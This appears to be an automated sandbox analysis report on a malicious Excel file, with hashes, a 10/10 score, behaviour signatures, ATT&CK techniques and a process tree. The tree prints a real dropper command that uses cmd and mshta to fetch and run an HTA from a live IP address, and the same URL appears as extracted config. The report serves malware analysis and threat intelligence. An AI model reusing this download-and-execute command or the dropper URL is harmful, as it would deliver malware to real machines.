a0b1146dcbdebe2a2b33880abd4b5d34de230dc883d9a1c50db8dd7ff501afb8

General

Target
tmpv8fjewpb.xls
Size 47KB
Sample220131-azmxnscgbr
SHA256 a0b1146dcbdebe2a2b33880abd4b5d34de230dc883d9a1c50db8dd7ff501afb8
MD5 6226accb5b4672642c5273a8701b6ec6
SHA1 d61759d4319842d8f328e2314c55b388c9ed8a61
SHA512 82f9b73e3350ebd97af258ee335aa675844b952e5649087fc3523fc48d1fb718ddc6ef7ed595374d19f9eabe1625d257c5b643affcdbd726198e6c302b331132
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://91.240.118.172/mm/nn/se.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1132	3736	cmd.exe	67

Blocklisted process makes network request 1 IoCs

flow	pid	Process
42	1100	mshta.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2684	1100	WerFault.exe	78

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3736	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
2684	WerFault.exe
2684	WerFault.exe
2684	WerFault.exe
2684	WerFault.exe
2684	WerFault.exe
2684	WerFault.exe
2684	WerFault.exe
2684	WerFault.exe
2684	WerFault.exe
2684	WerFault.exe
2684	WerFault.exe
2684	WerFault.exe
2684	WerFault.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2684	WerFault.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
3736	EXCEL.EXE
3736	EXCEL.EXE
3736	EXCEL.EXE
3736	EXCEL.EXE
3736	EXCEL.EXE
3736	EXCEL.EXE
3736	EXCEL.EXE
3736	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3736 wrote to memory of 1132	3736	EXCEL.EXE	74
PID 3736 wrote to memory of 1132	3736	EXCEL.EXE	74
PID 1132 wrote to memory of 3668	1132	cmd.exe	76
PID 1132 wrote to memory of 3668	1132	cmd.exe	76
PID 1132 wrote to memory of 1292	1132	cmd.exe	77
PID 1132 wrote to memory of 1292	1132	cmd.exe	77
PID 1292 wrote to memory of 1100	1292	cmd.exe	78
PID 1292 wrote to memory of 1100	1292	cmd.exe	78

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpv8fjewpb.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3736
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c set kiki=mshta http://91.240.118.172/mm/nn/se.html & echo %kiki% | cmd
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo %kiki% "
    3⤵
    PID:3668
- - C:\Windows\system32\cmd.exe
    cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1292
  - - C:\Windows\system32\mshta.exe
      mshta http://91.240.118.172/mm/nn/se.html
      4⤵
      Blocklisted process makes network request
      PID:1100
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1100 -s 1640
        5⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2684

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3736-117-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

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memory/3736-118-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

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memory/3736-119-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

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memory/3736-120-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

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memory/3736-121-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

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memory/3736-130-0x00007FF7DCCC0000-0x00007FF7DCCD0000-memory.dmp

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memory/3736-131-0x00007FF7DCCC0000-0x00007FF7DCCD0000-memory.dmp

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memory/3736-557-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

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memory/3736-558-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

Download

memory/3736-559-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

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memory/3736-560-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads